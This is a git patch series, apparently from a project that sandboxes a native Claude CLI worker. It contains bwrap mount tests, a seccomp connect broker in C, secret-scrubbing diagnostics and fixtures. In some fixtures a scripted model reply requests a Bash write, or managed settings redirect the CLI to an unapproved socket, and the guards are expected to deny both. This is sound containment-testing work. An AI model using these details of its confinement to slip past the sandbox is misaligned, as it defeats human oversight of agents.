test("an SDK-first nonzero exit cannot overtake its bootstrap reason and audit r expect(output).toContain("synthetic-bootstrap-failure"); expect(output,"SDK_EXIT_PRESERVES_AUDIT").toContain('"kind":"native-offline-audit"'); }); + +for(const mode of ["parent","timeout","exit143"] as const)test(`bootstrap termination reason distinguishes ${mode} from unexplained failure`,async()=>{ + const child=spawnGuardFixture([process.execPath,"-e",` + import {recordNativeGuardChild} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))}; + const boot=Bun.spawn(${mode==="exit143"?'["/bin/sh","-c","exit 143"]':'["/usr/bin/sleep","30"]'},{env:{PATH:"/usr/bin:/bin"},stdin:"ignore",stdout:"ignore",stderr:"pipe",${mode==="timeout"?'timeout:50,':''}}); + const reported=recordNativeGuardChild(boot,true);${mode==="parent"?'boot.kill("SIGTERM");':''}await reported; + `],{env:{PATH:"/usr/bin:/bin"}}); + const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code,out).toBe(0); + const records=out.split("\n").filter(line=>line.startsWith('{"kind":"native-offline-bootstrap-')).map(line=>JSON.parse(line)); + if(mode==="exit143")expect(records.some(record=>record.kind==="native-offline-bootstrap-failure"),"UNREQUESTED_EXIT143_IS_STILL_FAILURE").toBe(true); + else {expect(records.find(record=>record.kind==="native-offline-bootstrap-termination")?.reason,"EXPECTED_TERMINATION_HAS_FIXED_REASON").toBe(mode==="parent"?"terminated by parent signal":"terminated by signal");expect(out).not.toContain("stderr reason unavailable");} +}); diff --git a/tests/native-bootstrap-health.test.ts b/tests/native-bootstrap-health.test.ts index 77f48f8579..e033cb12e2 100644 --- a/tests/native-bootstrap-health.test.ts +++ b/tests/native-bootstrap-health.test.ts @@ -9,6 +9,8 @@ test("guard FIFO completion keeps keyless admission health within one second",as import {mock} from "bun:test"; const actual={...await import("node:stream/promises")}; mock.module("node:stream/promises",()=>({...actual,pipeline:(source,sink)=>{const end=sink.end.bind(sink);sink.end=(...args)=>{setTimeout(()=>end(...args),50);return sink;};return actual.pipeline(source,sink);}})); + const guard={...await import(${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))})}; + mock.module(${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))},()=>({...guard,nativeWorkerBoundary(env){return {...guard.nativeWorkerBoundary(env),native:Boolean(env.BRAIN_WORKER_LAUNCH)};}})); import {readFileSync} from "node:fs"; import {createWorkerPipes} from ${JSON.stringify(pipes)}; const server=Bun.serve({hostname:"127.0.0.1",port:0,async fetch(request){ diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index d756805e4e..b7a6947785 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -332,6 +332,7 @@ test("guard worker binds follow every covering mount", async()=>{ Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},PATH:"/usr/local/bin:/usr/bin:/bin"},argv:["bwrap",...${JSON.stringify(["/tmp","/home","/etc",ROOT])}.flatMap(path=>["--tmpfs",path]),"--remount-ro","/","--remount-ro","/etc","--",process.execPath,${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"))},"--direct-loopback",${JSON.stringify(runtime)}]})}); + if(plan.native!==true)throw Error("ADMITTED_NATIVE_PLAN_CLASSIFIED"); const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv,bwrap=argv.indexOf("--",argv.indexOf("-o"))+1,split=argv.indexOf("--",bwrap); const mounts=argv.slice(bwrap+1,split);assertGuardMountOrder(mounts,["/","/etc"]); if(!mounts.some((arg,i)=>arg==="--setenv"&&mounts[i+1]==="PATH"&&mounts[i+2]==="/usr/local/bin:/usr/bin:/bin"))throw Error("GUARD_PLAN_PRESERVES_READONLY_SYSTEM_PATH"); @@ -366,6 +367,7 @@ test("separate-UID plans trace the broker payload outside its hidden native audi const launch={command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_API_KEY:"offline-fixture"}, argv:["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:["bwrap","--ro-bind","/","/",...${JSON.stringify(["/tmp","/home","/etc",ROOT])}.flatMap(path=>["--tmpfs",path]),"--remount-ro","/","--remount-ro","/etc","--",${JSON.stringify(runtime)}],secret:"synthetic"})]}; const worker=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(launch)}); + if(worker.native!==true)throw Error("ADMITTED_NATIVE_PLAN_CLASSIFIED"); const outer=JSON.parse(worker.env.BRAIN_WORKER_LAUNCH).argv; if(realpathSync(outer[0])!==realpathSync("/usr/bin/python3"))throw Error("tracer wrapped the coordinator instead of the payload"); const config=JSON.parse(outer[5]),args=config.argv,split=args.indexOf("--"),trace=args.slice(split+1); diff --git a/tests/native-relay-turn-diagnostic.test.ts b/tests/native-relay-turn-diagnostic.test.ts new file mode 100644 index 0000000000..df0aff8ddc --- /dev/null +++ b/tests/native-relay-turn-diagnostic.test.ts @@ -0,0 +1,31 @@ +import { expect, test } from "bun:test"; +import { readFileSync } from "node:fs"; +import { join } from "node:path"; +import ts from "typescript"; +import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; +import { nativeNamespaceEnvironment } from "../scripts/test-native-guard"; + +const root=join(import.meta.dir,".."); +test("relay turn records admit only bounded numeric state and scrub free-form outcomes",async()=>{ + const input={elapsedMs:12.7,aborted:true,requestDelta:1,refreshDelta:0,outcome:"MY_PASSWORD=odysseus-private",errorClass:"https://ithaca.invalid/private-token",env:{TOKEN:"odysseus-private"},message:"/home/circe/private.json"}; + const child=spawnGuardFixture([process.execPath,"-e",`import {recordNativeRelayTurn} from ${JSON.stringify(join(root,"packages/ui-backend-claude/tests/helpers/native-relay-turn-diagnostic.ts"))};recordNativeRelayTurn(${JSON.stringify(input)});recordNativeRelayTurn({elapsedMs:Infinity,aborted:false,requestDelta:-1,refreshDelta:2,outcome:"cancelled",errorClass:"timeout"});`],{env:{PATH:"/usr/bin:/bin"}}); + const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code,out).toBe(0); + const records=out.split("\n").filter(line=>line.startsWith('{"kind":"native-fixture-relay-turn"')).map(line=>JSON.parse(line)); + expect(records).toHaveLength(2); + expect(Object.keys(records[0]).sort(),"ONLY_APPROVED_RELAY_DIAGNOSTIC_FIELDS").toEqual(["kind","head","elapsedMs","aborted","requestDelta","refreshDelta","outcome","errorClass"].sort()); + expect(records[0],"UNSAFE_RELAY_DIAGNOSTIC_VALUES_DROPPED").toMatchObject({elapsedMs:13,aborted:true,requestDelta:1,refreshDelta:0,outcome:null,errorClass:"unknown"}); + expect(records[1]).toMatchObject({elapsedMs:0,aborted:false,requestDelta:0,refreshDelta:2,outcome:"cancelled",errorClass:"timeout"}); + for(const secret of ["odysseus-private","ithaca.invalid","circe","private.json"])expect(out,"RELAY_DIAGNOSTICS_CONTAIN_NO_FREE_FORM_SECRETS").not.toContain(secret); +}); + +test("every touched relay fixture hang timer scales and the namespace retains its factor",()=>{ + let count=0; + for(const name of ["server-host-relay-probe","sdk-host-relay-probe","ordinary-host-relay-probe","host-relay-probe","relayed-runtime-traffic-probe"]){ + const file=join(root,"packages/ui-backend-claude/tests/fixtures",name+".ts"),source=ts.createSourceFile(file,readFileSync(file,"utf8"),ts.ScriptTarget.Latest,true); + const visit=(node:ts.Node)=>{if(ts.isCallExpression(node)&&ts.isIdentifier(node.expression)&&node.expression.text==="setTimeout"){ + count++;const duration=node.arguments[1];expect(duration&&ts.isCallExpression(duration)&&duration.expression.getText(source)==="watchdogMs","RELAY_HANG_GUARD_SCALED "+name).toBe(true); + }ts.forEachChild(node,visit);};visit(source); + } + expect(count).toBe(8); + const before=process.env.BRAIN_TEST_DEADLINE_FACTOR;try{process.env.BRAIN_TEST_DEADLINE_FACTOR="3";const args=nativeNamespaceEnvironment();const i=args.indexOf("BRAIN_TEST_DEADLINE_FACTOR");expect(args[i+1],"NAMESPACE_PRESERVES_WATCHDOG_FACTOR").toBe("3");}finally{if(before===undefined)delete process.env.BRAIN_TEST_DEADLINE_FACTOR;else process.env.BRAIN_TEST_DEADLINE_FACTOR=before;} +}); diff --git a/tests/native-sync-probe-diagnostics.test.ts b/tests/native-sync-probe-diagnostics.test.ts new file mode 100644 index 0000000000..3b4498cc4c --- /dev/null +++ b/tests/native-sync-probe-diagnostics.test.ts @@ -0,0 +1,44 @@ +import { expect, test } from "bun:test"; +import { join } from "node:path"; +import { watchdogMs } from "../scripts/test-deadlines"; +import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; + +for(const classification of ["non-native","unclassified"] as const)test(`separate-UID synchronous broker probe keeps stderr FIFO independent of the native tee: ${classification}`,async()=>{ + const root=join(import.meta.dir,".."),guard=join(root,"scripts/test-native-guard.ts"),entry=join(root,"packages/ui-sdk/src/server/worker-entry.ts"); + // Synthetic control server; the ready/status/close client is the production broker. + const server=`import os,sys,json,socket +cfg=json.loads(sys.argv[1]); listener=socket.socket(socket.AF_UNIX,socket.SOCK_SEQPACKET);listener.bind(cfg['socket']);listener.listen(4) +start=open('/proc/self/stat').read().rsplit(') ',1)[1].split()[19] +with open(cfg['ready']+'.tmp','w') as f: json.dump(dict(ok=True,workerUid=os.getuid()+1,worker=dict(pid=os.getpid(),start=start),roots={}),f) +os.replace(cfg['ready']+'.tmp',cfg['ready']) +while True: + peer,_=listener.accept();request=json.loads(peer.recv(65537));assert request['secret']==cfg['secret'] + peer.send(json.dumps(dict(ok=True,exited=True,code=0)).encode());peer.close() + if request['operation']=='close': break +listener.close();print('synthetic-probe-stderr',file=sys.stderr) +`; + const child=spawnGuardFixture([process.execPath,"-e",` + import {mock} from "bun:test"; + const guard={...await import(${JSON.stringify(guard)})};let tees=0; + mock.module(${JSON.stringify(guard)},()=>({...guard,nativeWorkerBoundary(env){const plan=guard.nativeWorkerBoundary(env);const launch=env.BRAIN_WORKER_LAUNCH&&JSON.parse(env.BRAIN_WORKER_LAUNCH);if(launch?.command?.[0]==="/usr/bin/true")return {...plan,native:true};${classification==="unclassified"?"const {native,...unknown}=plan;return unknown;":"return plan;"}},prepareNativeBootstrapDiagnostics(options){tees++;return guard.prepareNativeBootstrapDiagnostics(options);}})); + const {createWorkerPipes}=await import(${JSON.stringify(join(root,"packages/ui-sdk/src/server/worker-pipes.ts"))}); + const {prepareWorkerIdentity}=await import(${JSON.stringify(join(root,"packages/ui-sdk/src/server/worker-identity.ts"))}); + const {readFileSync,writeSync}=await import("node:fs"); + // Explicit synthetic classification keeps the native tee active in this process. + const native=createWorkerPipes(),streams=native.streams();streams.stdout.resume();streams.stderr.resume(); + const first=Bun.spawn([process.execPath,${JSON.stringify(entry)}],{env:{PATH:"/usr/bin:/bin",BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/usr/bin/true"],argv:["/usr/bin/true"]})},stdin:native.child[0],stdout:native.child[1],stderr:native.child[2]}); + native.closeChild();streams.stdin.end(); + const p=createWorkerPipes(),broker=prepareWorkerIdentity("/usr/bin/true",[],[]),config=JSON.parse(broker.command[5]); + const command=["/usr/bin/python3","-I","-S","-u","-c",${JSON.stringify(server)},JSON.stringify(config)]; + const supervisor=Bun.spawn([process.execPath,${JSON.stringify(entry)}],{env:{PATH:"/usr/bin:/bin",BRAIN_WORKER_LAUNCH:JSON.stringify({command,argv:command})},stdin:p.child[0],stdout:p.child[1],stderr:p.child[2]}); + // Same blocking branch as probeWorkerHost: do not await supervisor.exited. + broker.ready(supervisor.pid,Date.now()+${watchdogMs(1000)});broker.request("release");const status=broker.request("status");if(!status.exited)throw Error("synthetic broker did not exit");broker.close();writeSync(1,"BROKER_CLOSED\\n"); + p.closeChild();p.closeInput();const output=readFileSync(p.parent[1],"utf8"),errors=readFileSync(p.parent[2],"utf8");p.cleanup();await first.exited;native.cleanup(); + if(output!==""||!errors.includes("synthetic-probe-stderr"))throw Error("SYNC_PROBE_PROTOCOL_CORRUPTED"); + if(tees!==1)throw Error("ONLY_NATIVE_PLAN_RECEIVES_TEE");console.log("SYNC_PROBE_FIFO_COMPLETED"); + `],{env:{PATH:"/usr/bin:/bin"},timeout:watchdogMs(2000)}); + const [code,out,errors]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(out,"SYNC_BROKER_SEQUENCE_COMPLETED "+errors).toContain("BROKER_CLOSED"); + expect(code,"SYNC_PROBE_FIFO_COMPLETES_WITHOUT_EVENT_LOOP "+errors).toBe(0); + expect(out).toContain("SYNC_PROBE_FIFO_COMPLETED"); +},watchdogMs(10000)); From 8c1b6906f36be7dd906792a4fd75713fa3678f00 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 15:09:09 +0000 Subject: [PATCH 072/187] test: preserve declared native fixture policy and proxy authority --- .../fixtures/relayed-runtime-traffic-probe.ts | 2 +- .../tests/fixtures/sdk-host-relay-probe.ts | 7 +- .../tests/fixtures/server-host-relay-probe.ts | 7 +- scripts/measure-claude-enforcement.ts | 1 + scripts/measurement-worker-fixture.ts | 5 +- scripts/native-proof/native-connect.c | 50 ++++--- scripts/test-native-guard.ts | 133 +++++++++++++++--- scripts/test-network-guard.ts | 1 + tests/docker-bind-stability.test.ts | 8 +- tests/native-audit-cancellation.test.ts | 14 ++ tests/native-bootstrap-diagnostics.test.ts | 20 +++ tests/native-egress-wrapper.test.ts | 19 +++ tests/native-managed-settings.test.ts | 36 +++++ tests/native-offline-boundary.test.ts | 36 ++++- tests/native-path-preservation.test.ts | 6 +- tests/native-rtk-adapter.test.ts | 59 ++++++++ tests/native-startup-audit.test.ts | 7 + 17 files changed, 360 insertions(+), 51 deletions(-) create mode 100644 tests/native-managed-settings.test.ts create mode 100644 tests/native-rtk-adapter.test.ts diff --git a/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts b/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts index 8cbbd38d61..45c6d2ddfb 100644 --- a/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts @@ -25,7 +25,7 @@ const recorder = createServer((request, response) => { connections.push(`${reque recorder.on("connect", (request, socket) => { connections.push(`CONNECT ${request.url}`); socket.end("HTTP/1.1 403 Forbidden\r\n\r\n"); }); await new Promise(resolve => recorder.listen(0, "127.0.0.1", resolve)); const proxyUrl = `http://127.0.0.1:${(recorder.address() as { port: number }).port}`; -nativeScriptedService(proxyUrl, { fixtureRoots: [scratch] }); +nativeScriptedService(proxyUrl, { fixtureRoots: [scratch],turnProxy:true }); let called = false; const relay = Bun.serve({ unix: join(WORKER_EGRESS_DIR, "inference.sock"), async fetch(request) { const body = await request.text(); diff --git a/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts index 6ede882b26..17ef4414c3 100644 --- a/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts @@ -48,9 +48,12 @@ function save(token: string, expiresAt = Date.now() + 3_600_000) { } }), { mode: 0o600 }); } save(access[0]!); +let managedSettingsFile:string|undefined; if (process.argv[3] === "managed") { mkdirSync("/etc/claude-code", { recursive: true }); - writeFileSync("/etc/claude-code/managed-settings.json", JSON.stringify({ env: { ANTHROPIC_UNIX_SOCKET: "/run/odysseus-unapproved.sock" } })); + const json=JSON.stringify({ env: { ANTHROPIC_UNIX_SOCKET: "/run/odysseus-unapproved.sock" } }); + managedSettingsFile=join(root,"declared-managed-settings.json");writeFileSync(managedSettingsFile,json); + writeFileSync("/etc/claude-code/managed-settings.json",json); } if (process.argv[3] === "project") { mkdirSync(join(brain, ".claude")); @@ -116,7 +119,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request name: "Bash", id: "tool_ithaca_denied", input: { command: `printf odysseus > ${join(brain, "should-not-exist")}` }, } : undefined); } }); -nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, worker, directory] }); +nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, worker, directory],...(managedSettingsFile?{managedSettingsFile}:{}) }); const originalFetch = globalThis.fetch; // Only the host's lowest fetch method is replaced. The native CLI makes real // HTTP requests over the real Unix socket. Both upstream exchanges reach a diff --git a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts index d5eb75e725..4ffe418216 100644 --- a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts @@ -65,9 +65,12 @@ if (mode === "server-custom-project-same" || mode === "server-custom-project-oth mode === "server-custom-project-same" ? "https://GATEWAY.ithaca.invalid:443/anthropic/" : "https://gateway.ithaca.invalid/other-tenant" } })); } if (mode === "server-custom-other-port") process.env.BRAIN_UI_CLAUDE_OAUTH_ORIGINS = "https://gateway.ithaca.invalid:8443"; +let managedSettingsFile:string|undefined; if (mode === "managed-custom") { mkdirSync("/etc/claude-code"); - writeFileSync("/etc/claude-code/managed-settings.json", JSON.stringify({ env: { ANTHROPIC_BASE_URL: "https://ithaca.invalid" } })); + const json=JSON.stringify({ env: { ANTHROPIC_BASE_URL: "https://ithaca.invalid" } }); + managedSettingsFile=join(root,"declared-managed-settings.json");writeFileSync(managedSettingsFile,json); + writeFileSync("/etc/claude-code/managed-settings.json",json); } if (mode === "api-key-project-credential") { mkdirSync(join(brainPath, ".claude")); @@ -128,7 +131,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request requests.push({ credential: tokens.indexOf(request.headers.get("authorization")?.replace("Bearer ", "") ?? ""), model: body.model, history: body.messages.length }); return nativeModelReply(); } }); -nativeScriptedService(provider.url.origin, { fixtureRoots: [brainPath, home] }); +nativeScriptedService(provider.url.origin, { fixtureRoots: [brainPath, home],...(managedSettingsFile?{managedSettingsFile}:{}) }); const nativeFetch = globalThis.fetch; globalThis.fetch = (async (input, init) => { const target = new URL(typeof input === "string" || input instanceof URL ? String(input) : input.url); diff --git a/scripts/measure-claude-enforcement.ts b/scripts/measure-claude-enforcement.ts index e2e80d5b63..4a1f9b4a3d 100644 --- a/scripts/measure-claude-enforcement.ts +++ b/scripts/measure-claude-enforcement.ts @@ -82,6 +82,7 @@ try { const originalCallback = options.canUseTool!; const hooks = { ...options.hooks, PreToolUse: options.hooks?.PreToolUse?.map((matcher, i) => ({ ...matcher, hooks: matcher.hooks.map((hook, j) => async (input, id, context) => { + if(scenario==="rtk-rewrite")worker.qualifyRtk(); const output = await hook(input, id, context); if ("tool_use_id" in input && input.tool_use_id === callId) hookCalls.push({ index: `${i}:${j}`, input, output }); return output; diff --git a/scripts/measurement-worker-fixture.ts b/scripts/measurement-worker-fixture.ts index 78c331aadf..8fed48e3be 100644 --- a/scripts/measurement-worker-fixture.ts +++ b/scripts/measurement-worker-fixture.ts @@ -1,3 +1,4 @@ +import { registerNativeFixtureRtk } from "./test-native-guard"; /** Explicit copied execution inputs for offline, non-storage runtime measurements. */ import { prepareWorkerSandbox } from "../packages/ui-sdk/src/server/worker-launcher.js"; import { createFixtureMaintenanceHost, createFixtureWorkerStartupView } from "../packages/ui-sdk/tests/helpers/worker-startup-view-fixture.js"; @@ -10,7 +11,9 @@ export function createMeasurementWorkerFixture(brain: string, home?: string) { // need an output keeper or its namespace-only temporary mount aliases. const workerSandbox = prepareWorkerSandbox(brain, { home, maintenance, areas: [] }); const workerStartupView = createFixtureWorkerStartupView(brain); - return { maintenance, request: { workerSandbox, workerStartupView }, cleanup() { + let live:import("../packages/ui-sdk/src/server/worker-launcher").LaunchedWorker|undefined; + return { maintenance, request: { workerSandbox, workerStartupView,workerStarted(worker:Parameters>[0]){if(!("pid" in worker)||typeof worker.pid!=="number")throw Error("native fixture RTK worker identity unavailable");live=worker as import("../packages/ui-sdk/src/server/worker-launcher").LaunchedWorker;} }, + qualifyRtk(){if(!live)throw Error("native fixture RTK worker unavailable");registerNativeFixtureRtk(live);},cleanup() { try { workerStartupView.cleanup(); } finally { maintenance.cleanup(); } } }; } catch (error) { maintenance.cleanup(); throw error; } diff --git a/scripts/native-proof/native-connect.c b/scripts/native-proof/native-connect.c index 2583f12eb9..3470c5efc4 100644 --- a/scripts/native-proof/native-connect.c +++ b/scripts/native-proof/native-connect.c @@ -127,29 +127,34 @@ static int send_connected(int listener,struct seccomp_notif *request,int64_t *va for(size_t i=0;idata.args[2],expected=strlen(allowed); - struct sockaddr_un address={0}; - if(lengthsizeof(address)) return EPERM; - struct iovec local={&address,length},remote={(void *)(uintptr_t)request->data.args[1],length}; - if(process_vm_readv(request->pid,&local,1,&remote,1,0)!=(ssize_t)length) return EPERM; - size_t supplied=length - offsetof(struct sockaddr_un,sun_path); - size_t actual=strnlen(address.sun_path,supplied); - if(address.sun_family!=AF_UNIX || actual!=expected || memcmp(address.sun_path,allowed,expected)) return EPERM; + struct sockaddr_storage storage={0}; + if(lengthsizeof(storage)||!read_guest(request->pid,&storage,request->data.args[1],length))return EPERM; + struct sockaddr_un *address=(struct sockaddr_un *)&storage; + int tcp=storage.ss_family==AF_INET; + if(tcp){ + const struct sockaddr_in *requested=(const struct sockaddr_in *)&storage; + if(!proxy||length!=sizeof(*requested)||requested->sin_addr.s_addr!=proxy->sin_addr.s_addr||requested->sin_port!=proxy->sin_port)return EPERM; + }else{ + if(lengthsizeof(*address))return EPERM; + size_t supplied=length - offsetof(struct sockaddr_un,sun_path),actual=strnlen(address->sun_path,supplied); + if(address->sun_family!=AF_UNIX||actual!=expected||memcmp(address->sun_path,allowed,expected))return EPERM; + } int socket=duplicate(request->pid,(int)request->data.args[0]); if(socket<0) return EPERM; int domain=0,type=0; socklen_t size=sizeof(int); if(getsockopt(socket,SOL_SOCKET,SO_DOMAIN,&domain,&size) || getsockopt(socket,SOL_SOCKET,SO_TYPE,&type,&size) - || domain!=AF_UNIX || type!=SOCK_STREAM || !valid(listener,request->id)) { close(socket); return EPERM; } + || domain!=(tcp?AF_INET:AF_UNIX) || type!=SOCK_STREAM || !valid(listener,request->id)) { close(socket); return EPERM; } /* The broker connects a duplicate of the blocked socket to a pinned inode. It never continues the caller's syscall or trusts caller memory afterward. */ struct sockaddr_un target={.sun_family=AF_UNIX}; snprintf(target.sun_path,sizeof(target.sun_path),"/proc/self/fd/%d",pinned); - int result=connect(socket,(struct sockaddr *)&target,offsetof(struct sockaddr_un,sun_path)+strlen(target.sun_path)+1); + int result=tcp?connect(socket,(const struct sockaddr *)proxy,sizeof(*proxy)):connect(socket,(struct sockaddr *)&target,offsetof(struct sockaddr_un,sun_path)+strlen(target.sun_path)+1); int error=result==0?0:errno; - if(!error && retain_cookie(socket)) error=ENOMEM; + if((!error||error==EINPROGRESS) && retain_cookie(socket)) error=ENOMEM; close(socket); return error; } -static int run(int pinned,const char *allowed,char **command,int probe,const char *foreign) { +static int run(int pinned,const char *allowed,char **command,int probe,const char *foreign,const struct sockaddr_in *proxy) { int ready[2],ack[2]; if(pipe2(ready,O_CLOEXEC)||pipe2(ack,O_CLOEXEC)) return 125; /* Native descendants cannot inspect or change their broker through /proc. */ if(prctl(PR_SET_DUMPABLE,0)) return 125; @@ -206,7 +211,7 @@ static int run(int pinned,const char *allowed,char **command,int probe,const cha if(ioctl(listener,SECCOMP_IOCTL_NOTIF_RECV,request)) { if(errno==EINTR||errno==ENOENT) continue; kill(child,SIGKILL); waitpid(child,&status,0); break; } int error=EPERM; int64_t value=0; if(valid(listener,request->id)) { - if(request->data.nr==SYS_connect) error=connect_pinned(listener,request,pinned,allowed); + if(request->data.nr==SYS_connect) error=connect_pinned(listener,request,pinned,allowed,proxy); else if(request->data.nr==SYS_sendmsg) error=send_connected(listener,request,&value); } struct seccomp_notif_resp response={.id=request->id,.error=-error,.val=value,.flags=0}; @@ -221,7 +226,8 @@ int main(int argc,char **argv) { const char *head=probe?argv[2]:(argc>2?argv[2]:""); if(strlen(head)!=40 || strspn(head,"0123456789abcdef")!=40) return 125; char directory[]="/tmp/odysseus-connect-policy-XXXXXX",source[108],other[108]; - int server=-1; const char *allowed=NULL; int pinned=-1; + int server=-1; const char *allowed=NULL; int pinned=-1,proxy_pin=-1,proxy_enabled=0,payload=12; + struct sockaddr_in proxy={.sin_family=AF_INET,.sin_addr={.s_addr=htonl(INADDR_LOOPBACK)}}; if(probe) { if(!mkdtemp(directory)) return 125; snprintf(source,sizeof(source),"%s/relay.sock",directory); snprintf(other,sizeof(other),"%s/foreign.sock",directory); @@ -230,12 +236,24 @@ int main(int argc,char **argv) { pinned=open(source,O_PATH|O_CLOEXEC); allowed=source; } else { if(argc<13 || strcmp(argv[1],"--head") || strcmp(argv[3],"--socket") || strcmp(argv[5],"--device") - || strcmp(argv[7],"--inode") || strcmp(argv[9],"--allowed") || strcmp(argv[11],"--")) return 125; + || strcmp(argv[7],"--inode") || strcmp(argv[9],"--allowed")) return 125; pinned=open(argv[4],O_PATH|O_CLOEXEC); allowed=argv[10]; struct stat info; if(pinned<0||fstat(pinned,&info)||!S_ISSOCK(info.st_mode)||info.st_dev!=strtoull(argv[6],NULL,10)||info.st_ino!=strtoull(argv[8],NULL,10)) return 125; + if(!strcmp(argv[11],"--turn-proxy")){ + if(argc<17||strcmp(argv[15],"--"))return 125; + proxy_pin=open(argv[12],O_PATH|O_CLOEXEC); + if(proxy_pin<0||fstat(proxy_pin,&info)||!S_ISSOCK(info.st_mode)||info.st_dev!=strtoull(argv[13],NULL,10)||info.st_ino!=strtoull(argv[14],NULL,10))return 125; + /* The pinned first-party wrapper sets this before launching the broker. + Copy once; payload environment mutations never alter registration. */ + const char *url=getenv("HTTP_PROXY"),*prefix="http://127.0.0.1:";char *end=NULL; + if(!url||strncmp(url,prefix,strlen(prefix)))return 125; + unsigned long port=strtoul(url+strlen(prefix),&end,10); + if(!port||port>65535||!end||*end)return 125; + proxy.sin_port=htons((uint16_t)port);proxy_enabled=1;payload=16; + }else if(strcmp(argv[11],"--"))return 125; } if(pinned<0 || strlen(allowed)>=108) return 125; - int result=run(pinned,allowed,probe?NULL:argv+12,probe,other); close(pinned); + int result=run(pinned,allowed,probe?NULL:argv+payload,probe,other,proxy_enabled?&proxy:NULL); close(pinned);if(proxy_pin>=0)close(proxy_pin); if(probe) { close(server); unlink(source); rmdir(directory); if(result==0) puts("NATIVE_SOCKET_POLICY_HELD"); } return result; } diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 7ce9f44737..8f1c4da9ee 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -255,12 +255,21 @@ export function compileSocketPolicy(): string { } /** Kernel policy persists across native exec/fork and emulates only the pinned relay connection. */ -function nativeSocketCommand(command: string[], source: string, allowed: string): string[] { +function nativeSocketCommand(command: string[], source: string, allowed: string, turnProxy?:{source:string;allowed:string}): string[] { const origin = ownedSocketOrigin(source), route = scriptedRoute.getStore(); if (!origin || !route || normalizedOrigin(origin) !== normalizedOrigin(route.origin)) refuse("native socket policy lacks scripted authority"); const info = lstatSync(realpathSync(source), { bigint: true }); + const proxyArgs=turnProxy?nativeTurnProxyArguments(turnProxy.source,turnProxy.allowed):[]; return [compileSocketPolicy(), "--head", nativeTestHead(), "--socket", allowed, "--device", String(info.dev), - "--inode", String(info.ino), "--allowed", allowed, "--", ...command]; + "--inode", String(info.ino), "--allowed", allowed,...proxyArgs,"--", ...command]; +} + +/** Broker args are minted only for an already-owned scripted proxy service. */ +export function nativeTurnProxyArguments(source:string,allowed:string):string[]{ + const route=scriptedRoute.getStore(),peer=ownedSocketOrigin(source); + if(!peer||!route||normalizedOrigin(peer)!==normalizedOrigin(route.origin))refuse("turn proxy lacks scripted authority"); + const socket=lstatSync(realpathSync(source),{bigint:true}); + return ["--turn-proxy",allowed,String(socket.dev),String(socket.ino)]; } function systemMounts(): string[] { @@ -380,8 +389,14 @@ function auditAcl(operation: "set" | "check", uid: number, directory: string, lo /** Safe diagnostic identities; no outside path segment is part of a label. */ export function nativeDiagnosticPathLabel(path:string,fixtureRoots:readonly string[]=[]):string { const root=fixtureRoots.find(root=>path.startsWith("/")&&within(resolve(root),resolve(path))); + let device="dev"; + if(within("/dev",path)){ + const name=path.slice(5); + if(/^(?:stdin|stdout|stderr|null|urandom|random|zero|full|tty|fd\/[0-9]+|pts\/[0-9]+)$/.test(name))device="dev:"+name; + else if(name==="shm"||name.startsWith("shm/"))device="dev:shm"+(name==="shm"?"":"/[entry]"); + } const label=root?`fixture-${fixtureRoots.indexOf(root)}:${resolve(path).slice(resolve(root).length).replace(/^\//,"")||"."}`: - !path.startsWith("/")?"relative":within("/proc",path)?"proc":within("/sys",path)?"sys":within("/dev",path)?"dev":within("/etc",path)?"etc": + !path.startsWith("/")?"relative":within("/proc",path)?"proc":within("/sys",path)?"sys":within("/dev",path)?device:within("/etc",path)?"etc": 